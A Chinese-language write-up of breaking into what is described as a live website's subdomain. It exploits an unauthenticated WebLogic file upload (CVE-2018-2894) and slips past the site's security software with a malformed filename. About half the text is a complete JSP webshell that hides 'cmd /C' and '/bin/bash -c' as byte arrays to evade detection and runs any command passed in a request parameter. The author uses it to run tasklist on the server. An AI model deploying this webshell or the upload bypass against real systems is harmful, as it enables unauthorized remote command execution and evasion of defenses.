0x00:前言

主站搞不下来,只能看看子域名有没有什么收获,发现任意文件上传,但是有防护软件对上传文件的后缀跟内容作了检测,不能是jsp后缀,常规的jsp后门都会被杀,且只要检测到是jsp后缀跟恶意内容ip就会被防护软件拉黑,导致访问不了网站。

0x01:发现漏洞

这个漏洞很明显,是直接开放了7001端口,这个端口第一时间想到的肯定是weblogic,看一下版本是12.2.1.3.0的,我记得版本是存在相关漏洞的。
1

直接使用rabbitmask表哥写的weblogic++检测一波发现存在CVE-2018-2894任意文件上传漏洞
1

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;漏洞的影响范围 Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。

关于CVE-2018-2894任意文件上传漏洞原理可参考云影实验室写的WebLogic两处任意文件上传漏洞动态分析(CVE-2018-2894)根据漏洞直接访问http://www.test.com/ws_utc/config.do发现确实存在。
1

0x02:漏洞利用

把文件改一下,改成css这个应用静态文件具有访问权限,改了后直接点击安全选项,直接上传。

上传的时候发现jsp后缀是上传不上去的,改成txt后缀可以上传成功,上床jspx也不行,当时上传的jspx是用的冰蝎自带的,还有最令人恶心的是当被防护软件检测到上传带有jsp后缀跟木马内容后直接把ip给拉黑,当我把手中的能用的ip都消耗掉后我发现还是上传不上去,由于太菜,自此陷入僵局。

0x03:利用Java反射和类加载机制绕过JSP后门检测

在把自己所有能想到的方法尝试后,无果,最终让大佬帮看了下,直接就传上去了……逐请教是如何搞定的,发现成功上传有两点要解决,由于对文件后缀跟文件内容作了检测,那么要成功要上传,就要解决文件名不被检测,这里使用的畸形文件名去掉对于上传的文件名的双引号并在前面加上‘,要绕过文件内容的检测需要这里用到了利用Java反射和类加载机制绕过JSP后门检测文章中的方法,把表哥写的现成的马保存为’333.jsp直接拿来用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>

<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}

if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>

<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>

再次上传,访问之,发现成功返回,由于没有可用的ip了,直接用手机访问的…….
1

用tasklist查看运行程序,发现服务器上存在360……

1

0x04:总结

两个绕过点

漏洞都是大家都懂的漏洞,主要是记录一下绕过防护软件的检测方法,其实这篇文章去年就被大佬们发出来了,要不是大哥甩给我,一直不知道可以用这个方法绕过jsp后门检测,所以多跟大师傅多接触接触,多请教请教,师傅们随便一指点就比自己瞎忙活半天有效的多。